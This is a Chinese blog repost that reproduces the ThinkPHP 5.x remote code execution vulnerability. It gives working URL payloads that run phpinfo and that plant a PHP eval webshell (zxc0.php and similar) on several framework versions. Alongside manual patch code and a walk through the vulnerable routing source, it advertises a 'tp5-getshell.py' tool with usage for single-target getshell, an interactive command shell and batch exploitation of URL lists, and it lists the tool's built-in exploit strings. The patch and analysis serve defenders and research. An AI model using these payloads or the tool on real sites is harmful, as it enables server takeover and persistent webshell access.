内容简介:近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞。5.x < 5.1.31
0x00 概述
近日,thinkphp发布了安全更新,修复一个可getshell的rce漏洞。
0x01 影响范围
5.x < 5.1.31
5.x <= 5.0.23
以及基于ThinkPHP5 二次开发的cms,如AdminLTE后台管理系统、thinkcmf、ThinkSNS等
0x02 漏洞重现
win7+thinkphp5.1.24
(1)执行phpinfo
/index.php/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)写一句话木马
/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’
debian+thinkphp5.1.30
(1)执行phpinfo
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)写一句话木马
/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>
win7+thinkphp5.0.16
(1)执行phpinfo
/index.php/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
(2)写一句话木马
/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>
0x03 修复方案
- 直接git/composer更新
- 手工修复
5.1版本
在think\route\dispatch\Url类的parseUrl方法,解析控制器后加上
if ($controller && !preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);}
5.0版本
在think\App类的module方法的获取控制器的代码后面加上
if (!preg_match(‘/^[A-Za-z](\w|\.)*$/’, $controller)) {
throw new HttpException(404, ‘controller not exists:’ . $controller);}
如果改完后404,尝试修改正则,加上\/
0x04 漏洞分析
Thinkphp5.1.24:
先看补丁:
对controller添加了过滤
查看路由调度:
Module.php:83
public function exec() { // 监听module_init $this->app['hook']->listen('module_init'); try { // 实例化控制器 $instance = $this->app->controller($this->controller, $this->rule->getConfig('url_controller_layer'), $this->rule->getConfig('controller_suffix'), $this->rule->getConfig('empty_controller')); } catch (ClassNotFoundException $e) { throw new HttpException(404, 'controller not exists:' . $e->getClass()); } ...... $data = $this->app->invokeReflectMethod($instance, $reflect, $vars); return $this->autoResponse($data); });
$instance = $this->app->controller
实例化控制器以调用其中的方法
查看controller方法
App.php:719
public function controller($name, $layer = 'controller', $appendSuffix = false, $empty = '') { list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix); if (class_exists($class)) { return $this->__get($class); } elseif ($empty && class_exists($emptyClass = $this->parseClass($module, $layer, $empty, $appendSuffix))) { return $this->__get($emptyClass); } throw new ClassNotFoundException('class not exists:' . $class, $class); }
list($module, $class) = $this->parseModuleAndClass($name, $layer, $appendSuffix);
parseModuleAndClass解析$name为模块和类,再实例化类
查看该方法,第640行
protected function parseModuleAndClass($name, $layer, $appendSuffix) { if (false !== strpos($name, '\\')) { $class = $name; $module = $this->request->module(); } else { if (strpos($name, '/')) { list($module, $name) = explode('/', $name, 2); } else { $module = $this->request->module(); } $class = $this->parseClass($module, $layer, $name, $appendSuffix); } return [$module, $class]; }
可以看出如果$name包含了\,就
$class = $name;
$module = $this->request->module();
……
return [$module, $class];
直接将$name作为类名了,而命名空间就含有\,所以可以利用命名空间来实例化任意一个类
现在看看如何控制$name,即$controller。
查看路由解析,即如何解析url的
Url.php:37
protected function parseUrl($url) { $depr = $this->rule->getConfig('pathinfo_depr'); $bind = $this->rule->getRouter()->getBind(); if (!empty($bind) && preg_match('/^[a-z]/is', $bind)) { $bind = str_replace('/', $depr, $bind); // 如果有模块/控制器绑定 $url = $bind . ('.' != substr($bind, -1) ? $depr : '') . ltrim($url, $depr); } list($path, $var) = $this->rule->parseUrlPath($url); if (empty($path)) { return [null, null, null]; }
list($path, $var) = $this->rule->parseUrlPath($url);
调用了parseUrlPath(),继续跟进
查看Rule.php:947
public function parseUrlPath($url) { // 分隔符替换 确保路由定义使用统一的分隔符 $url = str_replace('|', '/', $url); $url = trim($url, '/'); $var = []; if (false !== strpos($url, '?')) { // [模块/控制器/操作?]参数1=值1&参数2=值2... $info = parse_url($url); $path = explode('/', $info['path']); parse_str($info['query'], $var); } elseif (strpos($url, '/')) { // [模块/控制器/操作] $path = explode('/', $url); } elseif (false !== strpos($url, '=')) { // 参数1=值1&参数2=值2... $path = []; parse_str($url, $var); } else { $path = [$url]; } return [$path, $var]; }
用/分割url获取每一部分的信息,未过滤
看看如何获取url:
Request.php:716
/** * 获取当前请求URL的pathinfo信息(不含URL后缀) * @access public * @return string */ public function path() { if (is_null($this->path)) { $suffix = $this->config['url_html_suffix']; $pathinfo = $this->pathinfo(); if (false === $suffix) { // 禁止伪静态访问 $this->path = $pathinfo; } elseif ($suffix) { // 去除正常的URL后缀 $this->path = preg_replace('/\.(' . ltrim($suffix, '.') . ')$/i', '', $pathinfo); } else { // 允许任何后缀访问 $this->path = preg_replace('/\.' . $this->ext() . '$/i', '', $pathinfo); } } return $this->path; }
注意在该文件第31行
// PATHINFO变量名 用于兼容模式
‘var_pathinfo’ => ‘s’,
所以可以用pathinfo或s来传路由
//windows会将\替换成/,建议用s
接着分析一个写 shell 的exp
http://127.0.0.1/public/index.php/?s=index/\think\template\driver\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>
调用了\think\template\driver\file这个类
class File { protected $cacheFile; /** * 写入编译缓存 * @access public * @param string $cacheFile 缓存的文件名 * @param string $content 缓存的内容 * @return void|array */ public function write($cacheFile, $content) { // 检测模板目录 $dir = dirname($cacheFile); if (!is_dir($dir)) { mkdir($dir, 0755, true); } // 生成模板缓存文件 if (false === file_put_contents($cacheFile, $content)) { throw new Exception('cache write error:' . $cacheFile, 11602); } }
就这样直接写入shell了
0x05 检测工具
项目地址:
使用帮助
python tp5-getshell.py -h
单url检测(poc)
使用4种poc检测
python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/
单url检测(getshell)
使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
python tp5-getshell.py -u http://www.xxx.com:8888/think5124/public/ –exploit
单url检测(命令行shell模式)
python tp5-getshell.py -u http://www.xxx.com/ –cmdshell
批量检测(getshell)
使用3种exp进行getshell,遇到先成功的exp就停止,防止重复getshell
python tp5-getshell.py -f urls.txt -t 2 -s 10
/*
本 工具 内置payload
poc0 = ‘/index.php/?s=index/\\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’
poc1 = ‘/index.php/?s=index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1’
poc2 = ‘/index.php/?s=index/\\think\Request/input&filter=phpinfo&data=1’
poc3 = ‘/index.php?s=/index/\\think\\request/cache&key=1|phpinfo’
本工具内置exp
exp0 = ‘/index.php/?s=index/\\think\\template\driver\\file/write&cacheFile=zxc0.php&content=<?php @eval($_POST[xxxxxx]);?>’
exp1 = ‘/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=<?php @eval($_POST[xxxxxx]);?>’
exp2 = ‘/index.php/?s=/index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo \'<?php @eval($_POST[xxxxxx]);?>\’>zxc2.php’
*/
欢迎反馈!
0x06 结语
很厉害的一个洞
0x07 参考资料
https://mp.weixin.qq.com/s/oWzDIIjJS2cwjb4rzOM4DQ
https://blog.thinkphp.cn/869075
https://github.com/top-think/framework/commit/802f284bec821a608e7543d91126abc5901b2815
以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网
猜你喜欢:- ueditor getshell漏洞重现及分析
- ThinkPHP5 RCE漏洞重现及分析
- tomcat rce漏洞重现(cve-2019-0232)
- TradingView xss 0day 漏洞重现及分析
- Apache CVE-2017-7659 漏洞重现及利用分析
- 安全漏洞重现 分叉前夕的以太坊只想静一静”
本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们。